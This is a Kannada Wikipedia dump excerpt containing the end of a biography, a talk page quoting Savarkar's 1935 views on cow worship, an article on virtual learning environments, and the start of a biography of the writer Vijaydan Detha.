ಬೇನೆಯಿಂದ ಬಳಿದ ಇವರು ೨೦೦೧ ಆಗಸ್ಟ್ ೧೬ ರಂದು ತಿರುವನಂತಪುರಂನಲ್ಲಿ ಕೊನೆಯುಸಿರೆಳೆದರು. <ref name="hindu" /> ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತದ ಮಹಿಳಾ ವಿಜ್ಞಾನಿಗಳು]] [[ವರ್ಗ:ವಿಜ್ಞಾನಿಗಳು]] [[ವರ್ಗ:ವಿಕಿ ಲವ್ಸ್ ವಿಮೆನ್ ದಕ್ಷಿಣ ಏಷ್ಯಿಯಾ ಸ್ಪರ್ಧೆಗೆ ವಿಸ್ತರಿಸಿದ ಲೇಖನ]] sasr7bs8na6grzjddqnjtbetndcwk03 ಚರ್ಚೆಪುಟ:ವಿನಾಯಕ ದಾಮೋದರ ಸಾವರ್ಕರ್ 1 60275 1116560 494027 2022-08-24T03:28:03Z 223.186.114.140 /* ಕಾಗುಣಿತ ತಿದ್ದುಪಡಿ ಮತ್ತು ವಿಷಯ ಕೊಂಡಿ ಸೇರಿಸಬೇಕು..ಅನುಮತಿಸಿ */ ಹೊಸ ವಿಭಾಗ wikitext text/x-wiki == ಗೋಮಾತೆಯ ಬಗೆಗೆ ಸಾವರ್ಕರ್ == ‘ಆಕಳು ಒಂದು ಉಪಯುಕ್ತ ಪ್ರಾಣಿ, ಮಾತೆಯಲ್ಲ, ದೇವತೆಯಂತೂ ಅಲ್ಲವೇ ಅಲ್ಲ’ : ವಿನಾಯಕ ದಾಮೋದರ ಸಾವರ್ಕರ್ ವಿನಾಯಕ ದಾಮೋದರ ಸಾವರ್ಕರ್ ಒಂದು ಹಂತದ ವರೆಗೆ ಬ್ರಿಟಿಷರ ವಿರುದ್ಧ ದಿಟ್ಟವಾಗಿ ಧ್ವನಿ ಎತ್ತಿದವರು. ಬಳಿಕ ಬಲಪಂಥೀಯ ಹಿಂದೂ ಸಂಘಟನೆಯಲ್ಲಿ ಅವರು ತೊಡಗಿಕೊಂಡರು. ಗಾಂಧೀ ಹತ್ಯೆಯಲ್ಲಿ ಸಾವರ್ಕರ್ ೬ನೆ ಆರೋಪಿಯಾಗಿ ಅವರು ಗುರುತಿಸಿಕೊಂಡರು. ಆದರೆ ಆರೋಪ ಸಾಬೀತಾಗಲಿಲ್ಲ. ಹಿಂದೂರಾಷ್ಟ್ರ ಪ್ರತಿಪಾದಕರಾಗಿದ್ದ ವಿನಾಯಕ ದಾಮೋದರ ಸಾವರ್ಕರ್ಸಾವರ್ಕರ್ ಗೋವಿನ ಕುರಿತಂತೆ ಯಾವ ನಿಲುವು ಹೊಂದಿದ್ದರು ಎನ್ನೂದನ್ನು ಇಲ್ಲಿ ಕೊಡಲಾಗಿದೆ. (‘ಆಕಳು ಒಂದು ಉಪಯುಕ್ತ ಪ್ರಾಣಿ, ಮಾತೆಯಲ್ಲ, ದೇವತೆಯಂತೂ ಅಲ್ಲವೇ ಅಲ್ಲ’- ಮಹಾರಾಷ್ಟ್ರ ಶಾರದಾ, ಎಪ್ರಿಲ್ 1935) ದಿಂದ ಇದನ್ನು ಆರಿಸಲಾಗಿದೆ. *ಡಾ ಪಂಡಿತಾರಾಧ್ಯ ಕನ್ನಡ ಪ್ರಾಧ್ಯಾಪಕ,ಕುವೆಂಪು ಕನ್ನಡ ಅಧ್ಯಯನ ಸಂಸ್ಥೆ ಮಾನಸಗಂಗೋತ್ರಿ ಮೈಸೂರು ಇವರು ಸಾವರ್ಕರ್ ಮಾತುಗಳನ್ನು ಸಂಗ್ರಹಿಸಿ ಇಲ್ಲಿ ನೀಡಿದ್ದಾರೆ. _____________ ‘‘ಹಸು, ಎತ್ತುಗಳನ್ನು ಪೂಜಿಸುವುದು ಹಿಂದೂ ಧರ್ಮಕ್ಕೆ ವಿಶಿಷ್ಟವಾದ ಸಂಗತಿ ಯಲ್ಲ. ಪ್ರಪಂಚದ ವಿವಿಧ ಕಡೆ ಜೀವಸಷ್ಟಿಗೆ ಕಾರಣವಾದ ಪುರುಷ ಮತ್ತು ಸ್ತ್ರೀ ಅವಯವಗಳ ಪ್ರತೀಕಗಳಾಗಿ ವಷಭ ಮತ್ತು ಗೋವಿನ ಪೂಜೆ ನಡೆಯುತ್ತಿತ್ತು.’’‘‘ನಾನು ಕಂಡ ಹಲವು ಪ್ರಾಮಾಣಿಕ, ಶ್ರೇಷ್ಠ, ಸಭ್ಯ ಗೋಭಕ್ತರು ಗೋಮಾತೆಯ ಗಂಜಲ ಮತ್ತು ಸಗಣಿಗಳಿಗೆ ಬ್ರಹ್ಮವಾದದ ಆಧಾರ ನೀಡಿ ಪಂಚಗವ್ಯ ಸೇವಿಸುತ್ತಾರೆ. ಗಂಜಲವನ್ನು ದೇವಾಲಯದಲ್ಲಿ ಸಿಂಪಡಿಸುತ್ತಾರೆ. ಆದರೆ ಅವರಿಗಿಂತಲೂ ಪ್ರಜ್ಞಾವಂತರಾದ ಡಾ ಅಂಬೇಡ್ಕರ್‌ರಂಥ ಶುದ್ಧ ಮತ್ತು ಪೂರ್ವಾಸ್ಪಶರ ಕೈಯಿಂದ ನಿರ್ಮಲ ಗಂಗೋದಕ ಕುಡಿಯುವುದಿಲ್ಲ! ಅದು ಮೈಗೆ ಸಿಂಪಡಿಸಿದರೂ ಮೈಲಿಗೆಯಾಯಿತೆಂದು ಸ್ನಾನ ಮಾಡುತ್ತಾರೆ.’’ ‘‘ಹಸು ದೇವತೆ ಎಂದೂ ಹಾಗೆಯೇ ವರಾಹಾವತಾರಿಯಾದ ದೇವರು ಹಂದಿ ಎಂದು ಪುರಾಣ ಹೇಳುತ್ತದೆ. ಹೀಗಿರುವಾಗ ಗೋರಕ್ಷಣೆಯೇ ಏಕೆ ಬೇಕು? ಹಂದಿ ರಕ್ಷಣೆ ಸಂಘವನ್ನು ಸ್ಥಾಪಿಸಿ ಹಂದಿಪೂಜೆಯನ್ನೇಕೆ ಬಳಕೆಗೆ ತರಬಾರದು? ಮನುಷ್ಯನು ಎಲ್ಲ ರೀತಿಯಿಂದ ತನಗಿಂತ ಹೀನಗುಣವಿರುವ ಪಶುವನ್ನು ದೇವರೆಂದು ಒಪ್ಪುವುದರಿಂದ ಮನುಷ್ಯನನ್ನೇ ಪಶುವಿಗಿಂತಲೂ ಕೀಳೆಂದು ಒಪ್ಪಿ ಮಾನವೀಯತೆಯನ್ನು ಗೌಣಗೊಳಿಸಿದಂತಾಗುತ್ತದೆ.’’ ‘‘ಮನುಷ್ಯ ಎಲ್ಲ ದಷ್ಟಿಯಿಂದ ತನಗಿಂತಲೂ ಸರ್ವಶ್ರೇಷ್ಠವಾದ ಪ್ರತೀಕವನ್ನು ಮಾತ್ರ ದೇವರೆಂದು ಸ್ವೀಕರಿಸಬೇಕು. ಕತ್ತೆ ಬೇಕಾದರೆ ಗೋವನ್ನು ತನಗಿಂತ ಶ್ರೇಷ್ಠ ಎಂದು ಸ್ವೀಕರಿಸಲಿ. ಆದರೆ ಮನುಷ್ಯ ಹಾಗೆ ಮಾಡುವುದು ಮೂರ್ಖತನ.’’‘‘ಇಂದಿನ ಪರಿಸ್ಥಿತಿಯಲ್ಲಿ ಅರ್ವಾಚೀನ ಮತ್ತು ಪ್ರಯೋಗಸಿದ್ಧ ವಿಜ್ಞಾನವೇ ನಮ್ಮ ರಾಷ್ಟ್ರದ ವೇದವಾಗಬೇಕು. ಈ ಪ್ರವತ್ತಿಗೆ ಗೋಪೂಜೆ ಹೊಂದಿಕೆಯಾಗದಿದ್ದರೆ ಅದನ್ನು ಬಿಡಬೇಕು. ಇಂಥ ಮೂರ್ಖತನಕ್ಕೆ ಧರ್ಮ ಎಂದು ಪುರಾಣಗಳು ಹೇಳಿರುವುದಕ್ಕೆ ತಲೆದೂಗಿದರೆ ರಾಷ್ಟ್ರದ ಸರ್ವನಾಶ ಖಂಡಿತ. ಗೋಪೂಜೆಯಿಂದ ಆಗುವ ಲಾಭಕ್ಕಿಂತ ಹಾನಿ ಅತ್ಯಂತ ಘಾತುಕ. ಒಂದು ವೇಳೆ ಗೋಹತ್ಯೆ ನಡೆದರೂ ಅಡ್ಡಿಯಿಲ್ಲ. ರಾಷ್ಟ್ರದ ಬುದ್ಧಿಹತ್ಯೆ ಮಾತ್ರ ಆಗಬಾರದು. ಹಸು ಮತ್ತು ಎತ್ತು ನಮ್ಮ ಕಷಿಪ್ರಧಾನ ರಾಷ್ಟ್ರಕ್ಕೆ ಉಪಯುಕ್ತ ಪ್ರಾಣಿಗಳು ಎಂದು ಆ ಪ್ರಾಣಿಗಳನ್ನು ಎಷ್ಟು ಬೇಕೊ ಅಷ್ಟು ಬಳಸಿದರೆ ಸಾಕು. ಅದರ ಬದಲು ಅದು ದೇವತೆ, ಪುರಾಣದಲ್ಲಿ ಅದನ್ನು ಪೂಜಿಸುವುದನ್ನು ಧರ್ಮ ಎಂದು ಹೇಳಿದೆ ಎಂದು ಬೊಗಳೆ ಬಿಟ್ಟರೆ ರಾಷ್ಟ್ರಕ್ಕೆ ನೂರುಪಟ್ಟು ಹಾನಿಯಾಗುತ್ತದೆ. ಅಲ್ಪ ಲಾಭಕ್ಕಾಗಿ ಹೆಚ್ಚಿನದನ್ನು ಕಳೆದುಕೊಳ್ಳುತ್ತೇವೆ.’’ ‘‘ಪಶುವನ್ನು ದೇವರೆಂದು ಹೇಳಿದರೂ ದೇವರನ್ನೇ ಪಶುಗಿಂತಲೂ ಹೀನವಾಗಿ ಕಾಣಲಾಗಿದೆ. ಹಸುವಿನ ಶರೀರದಲ್ಲಿ 33 ಕೋಟಿ ದೇವತೆಗಳಿದ್ದಾರೆಂದು ಬಣ್ಣಿಸಿ, ಅದರ ಗಂಜಲ, ಸಗಣಿ ವಿಸರ್ಜನೆಯಾಗುವ ಸ್ಥಳಗಳಲ್ಲಿಯೂ ದೇವರನ್ನು ಸ್ಥಾಪಿಸಲಾಗಿದೆ! ಕಟುಕನು ದನವನ್ನು ಒಂದೇ ಹೊಡೆತಕ್ಕೆ ಕೊಲ್ಲುವಾಗ ಆ ದೇವತೆಗಳಲ್ಲಿ ಒಬ್ಬನಾದರೂ ಕಟುಕನನ್ನು ಏಕೆ ತಡೆಯುವುದಿಲ್ಲ? ಆ ದೇವರೂ ಭಕ್ತರಂತೆ ಹೇಡಿಯೇ? ಕಟುಕನೇ 33 ಕೋಟಿ ದೇವತೆಗಳಿಗಿಂತ ಪರಾಕ್ರಮಿಯೆ?’’‘‘ ಹಸು ಮಹಾಮಾತೆಯಾಗಿರುವವನೇ ಹಿಂದೂ ಎನ್ನುವುದು ಹಿಂದುತ್ವಕ್ಕೆ ಮಾಡುವ ಅಪಮಾನ. ಹಸು ಕರುವಿಗೆ ಮಾತ್ರ ತಾಯಿ, ಹಿಂದೂಗಳಿಗಲ್ಲ. ‘ಗೋರಕ್ಷಣೆಯೇ ಧರ್ಮ’, ‘ಸ್ವಧರ್ಮೇ ನಿಧನಂ ಶ್ರೇಯಃ’ ಎಂದಾಗ ವಿವೇಕ, ಬುದ್ಧಿ ಸಂಪೂರ್ಣ ಕುರುಡಾಗಿ ಪ್ರಜ್ಞೆ ತಪ್ಪಿದ ಅನುಭವವಾಗುತ್ತದೆ.’’‘‘ಇಂಥ ಅನಾಗರಿಕ ಮತ್ತು ಮೂರ್ಖ ಸಂಸ್ಕಾರಕ್ಕೆ ತಿಲಾಂಜಲಿ ನೀಡುವುದೇ ನಮ್ಮ ಧರ್ಮ ಮತ್ತು ಸಂಸ್ಕತಿಗೆ ಶೋಭಿಸುವ ಮಾರ್ಗ. ಇಂದಿನ ವೈಜ್ಞಾನಿಕ ಯುಗದಲ್ಲಿ ಗೋರಕ್ಷಣೆಯ ದಷ್ಟಿಯಿಂದ ಹಸುವನ್ನು ದೇವತೆ ಎಂದು ಒಪ್ಪುವುದು ಮೂರ್ಖತನ. ಗೋರಕ್ಷಣೆಗೆ ಧಾರ್ಮಿಕ ಸ್ವರೂಪ ಬಿಟ್ಟು ಆರ್ಥಿಕ, ವೈಜ್ಞಾನಿಕ ಸ್ವರೂಪ ನೀಡುವುದು ಉಚಿತ. ಹಸು ಎತ್ತುಗಳನ್ನು ದೇವರೆಂದು ತೋರಿಸುತ್ತ ತಿರುಗುವ ಗೋಭಕ್ತನನ್ನು ತಡೆದು ಎತ್ತನ್ನು ನೊಗಕ್ಕೆ ಹೂಡಬೇಕು; ಅವನನ್ನು ದೇಶಸೇವೆಗೆ ದುಡಿಸಬೇಕು’’ (ಸಾವರ್ಕರ್: ಒಂದು ಅಭಿನವ ದರ್ಶನ, ಅನುವಾದ: ಚಂದ್ರಕಾಂತ ಪೋಕಳೆ ಬೆಳಗಾವಿ 2009 ಪು.27-37). ಸಾವರಕರ್, ಗೋರಕ್ಷಣೆಯ ಹುಚ್ಚುತನದಂತೆ ಧಾರ್ಮಿಕ ನಂಬಿಕೆಯ ಗೋಭಕ್ಷಣೆಯ ಕ್ರೌರ್ಯವನ್ನೂ ಖಂಡಿಸಿದ್ದಾರೆ. ಆದುದರಿಂದ ಸರಕಾರ ಗೋರಕ್ಷಣೆಯ ಮಸೂದೆಯನ್ನು ಹಿಂದಕ್ಕೆ ಪಡೆದು ಅದರ ಬಗ್ಗೆ ಮತಧರ್ಮ ನಿರಪೇಕ್ಷ ಪ್ರಜಾಪ್ರಭುತ್ವದ ಗೌರವಕ್ಕೆ ಸಲ್ಲುವಂತೆ ವ್ಯಾಪಕವಾದ ವೈಚಾರಿಕ, ವೈಜ್ಞಾನಿಕ ಸಾರ್ವಜನಿಕ ಚರ್ಚೆ ನಡೆಸುವುದು ಅಗತ್ಯ. ಕೃಪೆ : ಬಶೀರ ಬಿ.ಎಂ. ಅವರ ಫೇಸಬುಕ್ ಟೈಮ್ ಲೈನ್ [[http://karanik75-karanik.blogspot.in/2012/05/blog-post_6259.html]] *Bschandrasgr ೧೩:೪೯, ೧೮ ಸೆಪ್ಟೆಂಬರ್ ೨೦೧೪ (UTC) == ಕಾಗುಣಿತ ತಿದ್ದುಪಡಿ ಮತ್ತು ವಿಷಯ ಕೊಂಡಿ ಸೇರಿಸಬೇಕು..ಅನುಮತಿಸಿ == ಕಾಗುಣಿತ ತಿದ್ದುಪಡಿ ಮತ್ತು ವಿಷಯ ಕೊಂಡಿ ಸೇರಿಸಬೇಕು..ಅನುಮತಿಸಿ [[ವಿಶೇಷ:Contributions/223.186.114.140|223.186.114.140]] ೦೩:೨೮, ೨೪ ಆಗಸ್ಟ್ ೨೦೨೨ (UTC) lfswyfz5yaghyhzkiiot629agivgfr9 ವರ್ಚುವಲ್ ಲರ್ನಿಂಗ್ ಎನ್ವಿರಾನ್ಮೆಂಟ್ 0 72258 1116449 610431 2022-08-23T12:48:31Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki ಒಂದು ವರ್ಚುವಲ್ ಲರ್ನಿಂಗ್ ಎನ್ವಿರಾನ್ಮೆಂಟ್ (VLE) ಸಾಮಾನ್ಯವಾಗಿ ಶೈಕ್ಷಣಿಕ ಸಂಸ್ಥೆಗಳು ಒಳಗೆ ಅಧ್ಯಯನದ ಶಿಕ್ಷಣ , ಡಿಜಿಟಲ್ ಅಂಶಗಳ ಒಂದು ವೆಬ್ ಆಧಾರಿತ ವೇದಿಕೆಯಾಗಿದೆ. VLEs ವಿಶಿಷ್ಟವಾಗಿ : ಭಾಗವಹಿಸುವವರು ಸಮಂಜಸತೆ , ಗುಂಪುಗಳು ಮತ್ತು ಪಾತ್ರಗಳನ್ನು ಸಂಘಟಿತವಾಗಿದೆ ಕೊಡುತ್ತಾರೆ; ಪ್ರಸ್ತುತ ಸಂಪನ್ಮೂಲಗಳನ್ನು , ಕೋರ್ಸ್ ರಚನೆಯೊಳಗೆ ಚಟುವಟಿಕೆಗಳು ಮತ್ತು ಪರಸ್ಪರ ; ಮೌಲ್ಯಮಾಪನ ವಿವಿಧ ಹಂತಗಳಲ್ಲಿ ಒದಗಿಸುವ ; ಭಾಗವಹಿಸುವಿಕೆಯನ್ನು ವರದಿ ; ಮತ್ತು ಇತರೆ ಸಾಂಸ್ಥಿಕ ವ್ಯವಸ್ಥೆಗಳೊಂದಿಗೆ ಒಗ್ಗೂಡಲು ಕೆಲವು ಮಟ್ಟದ ಹೊಂದಿವೆ.<ref>{{Cite journal|url = http://www.jisc.ac.uk/media/documents/programmes/jtap/jtap-041.pdf|title = A Framework for Pedagogical Evaluation of Virtual Learning Environments|last = Britain|first = Sandy|last2 = Liber|first2 = Oleg|date = 1999|journal = |doi = |pmid = |access-date = 1 February 2015|publisher = |issue = Report 41|series = JISC Technology Applications Programme|archive-date = 14 ಜೂನ್ 2014|archive-url = https://www.webarchive.org.uk/wayback/archive/20140614113500/http://www.jisc.ac.uk/media/documents/programmes/jtap/jtap-041.pdf|url-status = bot: unknown}}</ref><ref>{{Cite book|title = Virtual learning environments: using, choosing and developing your VLE|last = Weller|first = Martin|publisher = Routledge|year = 2007|isbn = 9780415414302|location = London|pages = 4–5}}</ref> ಅವುಗಳನ್ನು ಸಂಪಾದಿಸಲು ಯಾರು VLEs ಆಥರಿಂಗ್ ಆಂಡ್ ವಿನ್ಯಾಸ ಪರಿಸರದಲ್ಲಿ ಒಂದು ವಸ್ತುತಃ ಪಾತ್ರವೂ ಉಂಟು.<ref>{{Cite book|title = Rethinking pedagogy in a digital age|last = Masterman|first = Liz|publisher = Routledge|year = 2013|isbn = 978-0-415-53997-5|location = London|pages = 65|editor-last = Beetham|editor-first = Helen|editor-last2 = Sharpe|editor-first2 = Rhona|chapter = The challenge of teachers' design practice|publication-place = Oxford}}</ref> VLEs ಆಂಗ್ಲೋಸ್ಪಿಯರ್ ಎಲ್ಲ ಉನ್ನತ ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳು ಬಣ್ಣಿಸಿವೆ. <ref>{{Cite web|url = http://edutechnica.com/2014/09/23/lms-data-the-first-year-update/|title = LMS Data – The First Year Update|date = 23 September 2014|accessdate = 1 February 2015|website = Edutechnica|publisher = |last = |first = }}</ref> ==ಪ್ರಮುಖ ಭಾಗಗಳನ್ನು== ಮೂಲ ಅಥವಾ ನಡೆಯುತ್ತವೆ ವಾಸ್ತವ ಪರಿಸರದಲ್ಲಿ ಅಥವಾ ಆನ್ಲೈನ್ ಶಿಕ್ಷಣ ಪಠ್ಯಕ್ರಮಕ್ಕೆ ಅಗತ್ಯವಿದೆ ಮುಖ್ಯ ಅಂಶಗಳಾಗಿವೆ ಕೆಳಗಿನ ಒಂದು VLE ಕೆಳಗಿನ ಅಂಶಗಳನ್ನು ಕೆಲವು ಅಥವಾ ಎಲ್ಲಾ ಸೇರಿವೆ:<ref>http://whatis.techtarget.com/definition/virtual-learning-environment-VLE-or-managed-learning-environment-MLE</ref> * ಪಠ್ಯಕ್ರಮದ * ಆಡಳಿತಾತ್ಮಕ ಕೋರ್ಸ್ ಬಗ್ಗೆ ಮಾಹಿತಿ: ಪ್ರೀರಿಕ್ವಿಸೈಟ್ಸ್, ಕ್ರೆಡಿಟ್, ನೋಂದಣಿ, ಪಾವತಿ, ದೈಹಿಕ ಸಭೆ ಮತ್ತು ಬೋಧಕ ಸಂಪರ್ಕ ಮಾಹಿತಿಯನ್ನು. ನಡೆಯುತ್ತಿರುವ ಕೋರ್ಸ್ ಬಗ್ಗೆ ಪ್ರಸ್ತುತ ಮಾಹಿತಿಗಾಗಿ ಒಂದು ಸೂಚನಾ ಫಲಕವನ್ನು * ಕೆಲವು ಅಥವಾ ಸಹಜವಾಗಿ ಎಲ್ಲಾ ಮೂಲ ವಿಷಯ; ಒಂದು ಸಾಂಪ್ರದಾಯಿಕ ಸಹಜವಾಗಿ ಒಂದು ಭಾಗವನ್ನು ಬಳಸಿದಾಗ ದೂರಶಿಕ್ಷಣ ಅನ್ವಯಗಳನ್ನು, ಅಥವಾ ಇದು ಕೆಲವು ಭಾಗವು ಸಂಪೂರ್ಣ ಸಹಜವಾಗಿ,. ಇದು ಸಾಮಾನ್ಯವಾಗಿ ಪಠ್ಯ, ಆಡಿಯೋ ಅಥವಾ ವೀಡಿಯೊ ಪ್ರಸ್ತುತಿಗಳನ್ನು ರೂಪದಲ್ಲಿ ಉಪನ್ಯಾಸ ಪ್ರತಿಗಳನ್ನು ಪೋಷಕ ದೃಶ್ಯ ನಿರೂಪಣೆಗಾಗಿ ವಸ್ತುಗಳನ್ನು ಒಳಗೊಂಡಿದೆ * ಹೆಚ್ಚುವರಿ ಸಂಪನ್ಮೂಲಗಳು, ಸಮಗ್ರ ಅಥವಾ ಹೊರಗೆ ಸಂಪನ್ಮೂಲಗಳಿಗೆ ಸಂಪರ್ಕಗಳು ಎರಡೂ. ಈ ಸಾಮಾನ್ಯವಾಗಿ ಪೂರಕ ಓದು ಅಥವಾ ಇದು ನವೀನ ಸಮಾನ ಒಳಗೊಂಡಿದೆ. * ಸ್ವಯಂ ಮೌಲ್ಯಮಾಪನ ಕ್ವಿಸ್ ಅಥವಾ ಹೋಲುತ್ತದೆ ಸಾಧನಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಸ್ವಯಂಚಾಲಿತವಾಗಿ ಗಳಿಸಿದರು * ಇಂತಹ ಪರೀಕ್ಷೆಗಳು, ಪ್ರಬಂಧ ಸಲ್ಲಿಕೆ, ಅಥವಾ ಯೋಜನೆಗಳ ಪ್ರಸ್ತುತಿ ಔಪಚಾರಿಕ ಮೌಲ್ಯಮಾಪನ ಕಾರ್ಯ ಮಾಡುತ್ತದೆ. ಈ ಈಗ ಇವುಗಳ ಪೀರ್ ಮೌಲ್ಯಮಾಪನ ಬೆಂಬಲಿಸಲು ಘಟಕಗಳನ್ನು ಸೇರಿಸಲಾಗಿದೆ * ಕೆಲವೊಮ್ಮೆ ಬೋಧಕ ಅಥವಾ ಮಾಡರೇಟರ್ ನಟನೆಯನ್ನು ಸಹಾಯಕ ಇಮೇಲ್, ಥ್ರೆಡ್ ಚರ್ಚೆಗಳು, ಚಾಟ್ ಕೊಠಡಿಗಳು, ಟ್ವಿಟರ್ ಮತ್ತು ಇತರ ಮಾಧ್ಯಮ, ಸೇರಿದಂತೆ ಸಂವಹನ, ಬೆಂಬಲ. ಹೆಚ್ಚುವರಿ ಅಂಶಗಳನ್ನು ವಿಕಿಗಳು, ಬ್ಲಾಗ್, ಮೇ ಮತ್ತು 3D ವರ್ಚುವಲ್ ಲರ್ನಿಂಗ್ ಸ್ಥಳಗಳಲ್ಲಿ ಸೇರಿವೆ. * ಹೊರಗೆ ಮೂಲಗಳಿಗೆ ಲಿಂಕ್ಗಳನ್ನು - ಎಲ್ಲಾ ಇತರ ಆನ್ಲೈನ್ ಕಲಿಕೆ ಸ್ಥಳಗಳಿಗೆ ಮಾರ್ಗಗಳ VLE (ವರ್ಚ್ಯುಯಲ್ ಲರ್ನಿಂಗ್ ಎನ್ವಿರಾನ್ಮೆಂಟ್) ಮೂಲಕ ಕಲ್ಪಿಸಲಾಗಿದೆ. * ಬೋಧಕರು, ಅವರ ಸಹಾಯಕರು, ಸಹಜವಾಗಿ ಬೆಂಬಲ ಸಿಬ್ಬಂದಿ ಮತ್ತು ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಪ್ರವೇಶ ಹಕ್ಕುಗಳ ಮ್ಯಾನೇಜ್ಮೆಂಟ್ * ದಾಖಲೆ ಮತ್ತು ಅಂಕಿ ಸಾಂಸ್ಥಿಕ ಆಡಳಿತ ಮತ್ತು ಗುಣಮಟ್ಟದ ನಿಯಂತ್ರಣ ಅಗತ್ಯವಾದ * ವಿದ್ಯಾರ್ಥಿಗಳು, ಸಾಮಾನ್ಯವಾಗಿ, ಸಲ್ಲಿಕೆಗಳನ್ನು ಬೋಧಕ ಅಗತ್ಯ ದಾಖಲೆಗಳನ್ನು ರಚಿಸಲು ಸಾಧನಗಳನ್ನು ಆಥರಿಂಗ್, ಮತ್ತು * ಅಗತ್ಯ ಹೈಪರ್ಲಿಂಕ್ಗಳನ್ನು ಒದಗಿಸಿ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಏಕೀಕೃತ ಪ್ರಸ್ತುತಿ ರಚಿಸಲು. * ಒಂದು VLE ಸಾಮಾನ್ಯವಾಗಿ ಒಂದು ನಿರ್ದಿಷ್ಟ ಕೋರ್ಸ್ ಅಥವಾ ವಿಷಯದ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ. ಆದರೆ ಮತ್ತು ಕೆಲವು ವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸಿಕೊಂಡು ಇತರ ಸಂಸ್ಥೆಗಳ ಪದವಿ-ಸಂಸ್ಥೆ ಒಂದು ಸ್ಥಿರವಾದ ಇಂಟರ್ಫೇಸ್ ನೀಡುವ ಶೈಕ್ಷಣಿಕ ಕಾರ್ಯಕ್ರಮದ ಪೂರ್ಣ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಅನೇಕ ಶಿಕ್ಷಣ ಬೆಂಬಲಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಇದೆ. ವರ್ಚುವಲ್ ಲರ್ನಿಂಗ್ ಎನ್ವಿರಾನ್ಮೆಂಟ್, ಕೊಠಡಿಗಳು, ವೆಬ್ 2.0 ಸೈಟ್ಗಳು ಚಾಟ್ ಅಥವಾ ಒಂದು ವೇದಿಕೆ ಮೂಲಕ ವಿಶ್ವದ ಯಾವುದೇ ಭಾಗದಲ್ಲಿ ಮಾಹಿತಿ ತಿಳಿಸುವ ಸಹಾಯ ಒಂದು ಬಳಕೆದಾರ ಮತ್ತು ಅವನು ಅಥವಾ ಅವಳು ಪ್ರಸ್ತುತ ಇಮೇಲ್ ರೀತಿಯ ಡಿಜಿಟಲ್ ಮಾಧ್ಯಮಗಳ ಮೂಲಕ ಸೇರಿಕೊಂಡಳು ಇದೆ ಕಲಿಕಾ ಸಂಸ್ಥೆ ನಡುವೆ ಮಾಹಿತಿ ವಿನಿಮಯ ಬೆಂಬಲಿಸುತ್ತದೆ ಕೇವಲ ಒಂದು ಕ್ಲಿಕ್ ನಲ್ಲಿ.<ref>http://www.diva-portal.org/smash/get/diva2:603927/FULLTEXT01.pdf</ref> ==REFRENCE== 2ctrs3avtp7qmhzkmo8vf2yn5ij7avj ವಿಜಯದನ್ ದೆತ 0 72655 1116464 1058224 2022-08-23T13:06:08Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki '''ವಿಜಯದನ್ ದೆತ''' {{Infobox writer <!-- for more information see [[:Template:Infobox writer/doc]] --> | name = ವಿಜಯದನ್ ದೆತ | image = | imagesize = | caption = | pseudonym = ಬಿಜ್ಜಿ | birth_date = {{Birth date|df=yes|1926|9|1}} | birth_place = ಬೊರುಂಡ, ಬ್ರಿಟೀಷ್ ಇಂಡಿಯ (ಈಗಿನ ರಾಜಸ್ಥಾನ, ಭಾರತ) | death_date = {{Death date and age|df=yes|2013|11|10|1926|9|1}} | death_place = | occupation = ಬರಹಗಾರರು | nationality = ಭಾರತೀಯ | period = | genre = | subject = ಸಾಮಾಜಿಕ ಕಾರ್ಯಕರ್ತ. | movement = | spouse = ಸಯರ್ ಕನ್‍ವರ್ | partner = | children = ಕುಬರ್‍ದನ್, ಮಹೇಂದ್ರ | relatives = | influences = ಸರತ್ ಚಂದ್ರ ಚಟೋಪಾಧ್ಯಾಯ, ರವೀಂದ್ರ ನಾಥ ಟಾಗೂರ್, ಕಾರ್ಲ್ ಮಾರ್ಕ್ಸ್ | influenced = | signature = | website = }} ವಿಜಯದನ್ ದೆತ (೧ ಸೆಪ್ಟೆಂಬರ್ ೧೯೨೬ - ೧೦ ನವೆಂಬರ್ ೨೦೧೩), "ಬಿಜ್ಜಿ" ಎಂಬ ಹೆಸರಿನಿಂದ ಪ್ರಖ್ಯಾತರಾಗಿದ್ದ ಇವರು [[ರಾಜಸ್ಥಾನ]]ದವರು ಹಾಗು [[ಪದ್ಮಶ್ರೀ]] ಪ್ರಶಸ್ತಿ ಪುರಸ್ಕೃತರು<ref>{{cite web|url=http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|title=ಪದ್ಮಶ್ರೀ ಪ್ರಶಸ್ತಿ}}</ref>. ಇವರು ಸಾಹಿತ್ಯ ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ ಹಾಗು ಇನ್ನು ಹಲವಾರು ಪುರಸ್ಕಾರಗಳಿಗೆ ಬಾಜನರಾಗಿದ್ದಾರೆ. ಇವರ ೮೦೦ಕ್ಕೂ ಹೆಚ್ಚು ಸಣ್ಣ ಕಥೆಗಳು ಆಂಗ್ಲ ಮತ್ತು ಇತರೆ ಭಾಷೆಗಳಿಗೆ ಅನುವಾದಗೊಂಡಿವೆ. ಕೊಮಲ್ ಕೊಥಾರಿಯವರೊಂದಿಗೆ "ರುಪಾಯನ್ ಸಂಸ್ಥನ್" ಎಂಬ ಜನಪದ ಸಂಸ್ಥೆಯ ಸಹ ಸಂಸ್ಥಾಪಕರಾಗಿದ್ದರು. ಇದು ರಾಜಸ್ಥಾನಿ ಜನಪದ ಕಥೆಗಳು, ಕಲೆ ಹಾಗು ಸಾಹಿತ್ಯವನ್ನು ಉಳಿಸಿ ಬೆಳೆಸುವ ಸಂಸ್ಥೆಯಾಗಿದೆ. ಇವರ ಸಾಹಿತ್ಯ ಕೊಡುಗೆಗಳಲ್ಲಿ ಒಂದಾದ "ಬತಾನ್ ರಿ ಫುಲ್ವರಿ" (ಕಥೆಗಳ ತೋಟ) ೧೪ ಸಂಕಲನಗಳು 